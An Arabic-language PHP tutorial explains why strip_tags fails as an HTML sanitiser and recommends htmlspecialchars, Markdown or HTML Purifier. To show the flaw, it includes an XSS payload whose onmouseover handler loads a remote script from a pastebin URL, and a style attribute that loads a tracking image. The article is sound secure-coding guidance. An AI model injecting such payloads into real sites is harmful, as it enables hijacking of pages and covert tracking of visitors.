لديك حساب بالفعل؟ دخول
دخول  سجل الأن 
حقائق يجب عليك أن تعلم بها عن دالة strip_tags
strip_tags() هى دالة من اشهر دوال البى اتس بى استعمالاَ لجعل صفحات الويب اكثر اماناَ فوظيفتها هى تنظيف المتغيرات من اكواد الـHTML ، ولكن يمكننا قول "دالة strip_tags ليست هى الدالة الصحيحة لعمل هذا باى شكل من الاشكال" وسنعرض فى هذه المقالة بعض من الاسباب التى جعتها كذلك.
  • تأكل الجمل فى بعض الاحيان فانها تحول "هذا يوضح ان المتغير س>ص" الى "هذا يوضح ان المتغير ص" (فانها تمنعك من مناقشة اكواد الهتميل فى موضوعك كمثال)
  • استخدام متغير الدالة الثانى لقبول بعض من وسوم الهتمل (HTML TAG) فى المتغير يعتبر شىء خطير للغاية لانها لا تقوم بحذف الخصاص (attributes) انظر المثال:
    $message = strip_tags($message, '<b><i>');
  • فى هذه الحالة لم تقوم الدالة بحذف خصائص الوسم ، فيمكن ان يأتى احدهم اليك ويكتب تعليق كهذا
    <b style="font-size:100pt;text-decoration:blink">درس اكثر من رائع</b>
    ويمكن ايضا عمل هذا
    <b style="background:url(http://someserver/transparent.gif);font-weight:normal">درس رائع</b>
    فبطريقة مثل هذه يمكن لشخص ما ان يتتبع زوارك دون اذن منك ، او ربما شخص ما ممن يدعون التهكير يفعل شىء كهذا
    <b onmouseover="s=document.createElement('script');s.src='http://pastebin.com/raw.php?i=j1Vhq2aJ';document.getElementsByTagName('head')[0].appendChild(s)">مرحبا</b>
    وبهذا الكود عندما يقوم شخص ما بالمرور بالموس على التعليق سيكون الموقع الخاص بك اصبع ملكية عامة للهكرز :).
  • ومن عيوب المتغير الثانى ايضا انه فى حالة عمل شىء كهذا
    strip_tags('ولكن لن يتم تنسيقها <br/> هذه جملة تحتوى على سطر اخر', '<br>')
ببساطة ان كنت تريد الحماية من الهتميل ولعرض النصوص فى صفحات الويب تماما مثل ما ارسلت ، الدالة الصحيحة لذلك هى htmlspecialchars مع دالة nl2br ان كنت تريد عرض اكثر من سطر وطبعا هذه الطريقة تحول رموز الهتميل الى نصوص حتى لا يتم تنفيذها (عليك ان تعرف تماما اى ترميز سوف تستعمله - وفى حالة انك لن تستعمل الترميز الافضل والمتعارف عليه UTF-8 وتميل لاستعمال احدى ترميزات not-ASCII-compatible عليك زكر هذا كمتغير ثانى لدالة htmlspecialchars لكى تصل لافضل اداء لها).

فى حالة انك تريد عمل تنسيق للنص عليك استعمال اى نوع من التنسيقات مسبق التصميم مثل Markdown او يمكنك استعمال اسلوب الـBBCode المستعمل فى جميع المنتديات.

ويمكنك ايضا استعمال الهتميل فى حالة واحدة فقط وهى استعمال كلاس HTML Purifier الذى يفعل ما كان على دالة strip_tags ان تفعله.
اشترك ليصلك جديد المقالات والاضافات على بريدك
54,728 مشاهدة 20 / ديسمبر / 2011 الساعة 14:49 strip_tags